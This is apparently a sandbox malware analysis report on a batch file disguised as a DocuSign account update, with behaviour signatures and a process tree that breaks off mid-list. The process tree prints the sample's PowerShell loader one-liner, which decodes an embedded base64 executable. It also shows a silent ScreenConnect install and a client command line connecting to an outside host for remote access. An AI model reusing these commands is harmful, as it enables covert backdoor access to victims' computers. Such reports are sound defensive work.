Overview

overview

8

Static

static

1

Docusign_A...le.bat

windows10-2004-x64

8

Docusign_A...le.bat

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 22:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Docusign_Account_Update-Batchfile.bat
  • Size 10.8MB
  • Sample260924-2vr5datfpb
  • SHA256 c2c78096de99d7d3c088aaaa8b51db754a2e3ca76b3464498158d94c047da8d5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebackdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesignspywaretrojan

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 13 IoCs
  • Loads dropped DLL 55 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 21 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 57 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Account_Update-Batchfile.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$l=[IO.File]::ReadAllLines($env:SELF);$m='::B64EOF::';$s=[Array]::IndexOf($l,$m);$e=[Array]::LastIndexOf($l,$m);$b=($l[($s+1)..($e-1)] -join '') -replace '\s','';[IO.File]::WriteAllBytes((Join-Path $env:TEMP 'FeedbackTool_6.exe'),[Convert]::FromBase64String($b))"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:716
    • C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe
      "C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5244
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\system32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\progress.hta"
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:3920
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_4.msi" /qn /norestart
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1812
      • C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe
        "C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\Temp\{2F9C21FB-7D4C-4C2B-9503-2DC9EB46847E}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe
          "C:\Windows\Temp\{2F9C21FB-7D4C-4C2B-9503-2DC9EB46847E}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe" -burn.filehandle.attached=592 -burn.filehandle.self=692
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1736
          • C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.be\Docusign Print Driver x64.exe
            "C:\Windows\Temp\{48E5A6F1-71EC-45AC-9314-8FEA86504C9A}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{FAB76093-C355-4AC4-B552-2CE7453A9830} {EBAC251C-E26C-4862-82CE-1158BD969012} 1736
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious use of FindShellTrayWindow
            PID:4440
            • C:\Windows\SysWOW64\explorer.exe
              explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
              6⤵
              • System Location Discovery: System Language Discovery
              PID:6828
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1304
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6E4B9E39300A69D53B64582628D956C4
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI56F0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240736078 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2416
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D25CEEF4683B4F546FB0FC1D95FD87D0 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4460
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 7121FD22D2169639D9ED9A18FABA79A8 C
      2⤵
      • Loads dropped DLL
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1796
      • C:\Windows\system32\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICC30.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240766203 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
        3⤵
        • Loads dropped DLL
        PID:4532
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7A1EF5017B2726E369859C90223E0C28 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:5512
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding C2D679C25B7E3506B7E4DD86F889D2A6 C
      2⤵
      • Loads dropped DLL
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Windows\system32\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF93B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240777609 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
        3⤵
        • Loads dropped DLL
        PID:4268
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding EA039162818B0C886A03ED665F2A4F90 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3356
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4E3A81296F62A4BF1D82259C0CA67BC7
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3032
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding E7B26F098A599103A7A0AC9353EC6EF5
      2⤵
      • Loads dropped DLL
      • Suspicious use of SetWindowsHookEx
      PID:3256
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F4A6362308A50897E66B00873A3B4496 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1088
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 63E86C4103B802E53ACEE4A40F631ECD E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Modifies data under HKEY_USERS
      • Suspicious use of SetWindowsHookEx
      PID:4296
    • C:\Windows\system32\NET.exe
      NET STOP SPOOLER
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1520
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 STOP SPOOLER
        3⤵
          PID:1808
      • C:\Windows\system32\NET.exe
        NET START SPOOLER
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3092
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 START SPOOLER
          3⤵
            PID:624
        • C:\Windows\system32\rundll32.exe
          rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
          2⤵
            PID:3236
          • C:\Windows\system32\rundll32.exe
            rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
            2⤵
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            PID:5664
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding DD462192EA78DA7B687B91A4B6BBC251
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:6612
          • C:\Windows\System32\MsiExec.exe
            C:\Windows\System32\MsiExec.exe -Embedding 5C5D3A5C94DE0337458790A16637090E
            2⤵
            • Loads dropped DLL
            • Suspicious use of SetWindowsHookEx
            PID:6676
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding BC3F96AFC808524969D744308135ECFE E Global\MSI0000
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:6724
        • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
          "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=churchoflife.io&p=8041&s=7ab7341d-3b1a-4ba3-bfe4-9e32fa682aad&k=BgIAAACkAABSU0ExAAgAAAEAAQCNraGUkm2bgZ8G1IYLAg6dhp4%2fW1psNOb28arj48NCa7MBUlLW2gvejZT0iFmRGGW328UGjVtkYpzMdLj1QudJVnLB%2bwkYpU%2b56zp8RXu6UdweTEG1s%2bE5EVkbLyEsKSBdlJ3xsTx%2blVCsPjS9z6mGcFXrLbX9oKf4lTyzXiIxLSse0H5WayBL%2b05KzeyfahYPTRiKUjD26P6Tl4Z4mSWDLFdG5BOL0thSTilCfK7%2f1a70F6ythwky2jT4MAF%2bh5iduEoYDD3MyUjBRmI8U2eUxdhk%2fuLS7na%2fXYdw1s5R6KmlLFcPcM1NghrsqSx5%2bnTOZIabhov%2foCXOr%2b3nZ6jN"
          1⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5676
          • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe" "RunRole" "9a450044-ba32-4446-9605-8abb07e5d818" "User"
            2⤵
            • Executes dropped EXE
            PID:5852
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:3492
        • C:\Windows\system32\srtasks.exe
          C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
          1⤵
            PID:2636
          • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
            "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
            1⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1480
            • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
              "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260924235452.log"
              2⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5304
              • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=556 -burn.filehandle.self=576 /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260924235452.log"
                3⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4460
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{37F21500-163A-426A-9C80-812CE9E75F3F} {2F62A1D8-A976-4E24-9D1E-D4D5ECF2825F} 4460
                  4⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Enumerates connected drives
                  • System Location Discovery: System Language Discovery
                  • Modifies registry class
                  • Modifies system certificate store
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:1552
                  • C:\Windows\explorer.exe
                    explorer "C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe"
                    5⤵
                      PID:2440
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "00000000000000DC" "WinSta0\Default" "00000000000000E0" "208" "C:\Program Files\Docusign\Print Driver\Driver"
              1⤵
              • Manipulates Digital Signatures
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:2892
              • C:\Windows\system32\rundll32.exe
                rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{093604FB-B432-444D-8077-3E39D88B2F79} Global\{BD9C3721-93C2-4C2A-92E4-B1F6CE4F4D3E} C:\Windows\System32\DriverStore\Temp\{71c5c467-c220-0b4a-b4cd-2ca2a7c93d58}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{71c5c467-c220-0b4a-b4cd-2ca2a7c93d58}\DocuSignPrintDriver.cat
                2⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:3372
            • C:\PROGRA~1\Docusign\PRINTD~1\DocuSign.PrintDriverApplication.exe
              C:\PROGRA~1\Docusign\PRINTD~1\DOCUSI~1.EXE
              1⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of WriteProcessMemory
              PID:2864
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://account.docusign.com/oauth/auth?client_id=af7eb5b4-9679-4674-a397-ee35025b1bc0&redirect_uri=http%3a%2f%2flocalhost%3a17718%2foauth%2fcallback&response_type=code&state=info&scope=all&ui_flavors=no_advertisement+no_sign_up+no_cancellation
                2⤵
                • Enumerates system info in registry
                • Modifies registry class
                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:1668
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x35c,0x7fff2886c188,0x7fff2886c194,0x7fff2886c1a0
                  3⤵
                    PID:800
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2188,i,14092321518399339818,12308992465390276001,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:11
                    3⤵
                    • System Time Discovery
                    PID:2684
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2588,i,4255577690439790593,7663286577870592761,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=3104 /prefetch:13
                    3⤵
                      PID:4548
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1984,i,2703370319145326629,3364877514089362519,262144 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:2
                      3⤵
                        PID:4372
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3544,i,3761913961334464415,7221362433946430883,2097152 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
                        3⤵
                          PID:2264
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,11068877804231392137,835590455365147356,2097152 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
                          3⤵
                            PID:5352
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4192,i,7740322073861924115,212838135188158629,2097152 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:1
                            3⤵
                              PID:1124
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4204,i,5840486087291389987,15667537796879800088,2097152 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:9
                              3⤵
                                PID:3256
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3532,i,13982396959460400456,3503376902421133924,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=5292 /prefetch:14
                                3⤵
                                  PID:1852
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5380,i,2970601901381950629,11971113712176127218,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
                                  3⤵
                                    PID:3944
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5384,i,18247962888078159264,17531364628956962857,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
                                    3⤵
                                      PID:1432
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,1461487596021169692,8542764653219159833,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
                                      3⤵
                                        PID:4948
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6132,i,1461487596021169692,8542764653219159833,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:14
                                        3⤵
                                          PID:5592
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,3353459531049344381,11821730699589775444,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=6304 /prefetch:14
                                          3⤵
                                            PID:1944
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6664,i,3668417810964962727,3652939534411700528,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
                                            3⤵
                                              PID:6300
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1272,i,5510990705691541519,2139174168802821235,524288 --field-trial-handle=2540,i,14760259623914486072,4400374938779334017,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:14
                                              3⤵
                                                PID:6252
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
